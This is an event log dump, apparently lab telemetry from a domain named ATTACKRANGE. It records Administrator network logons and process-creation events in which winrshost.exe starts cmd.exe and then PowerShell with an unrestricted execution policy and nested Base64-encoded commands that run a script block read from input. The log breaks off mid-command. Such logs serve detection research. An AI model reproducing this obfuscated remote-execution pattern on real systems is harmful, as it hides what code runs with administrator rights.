The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247504
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247503
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247502
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1441E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247501
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1441E5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247500
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1441E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247499
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247498
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247497
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x138356

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247496
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11A10C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247495
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1189D5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247531
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x145E70

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247530
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x145E70
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247529
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247528
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247527
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb10
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xebc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247525
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144797

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247524
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144797
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247523
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247522
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247521
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xebc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc60
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247520
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc60
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf18
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 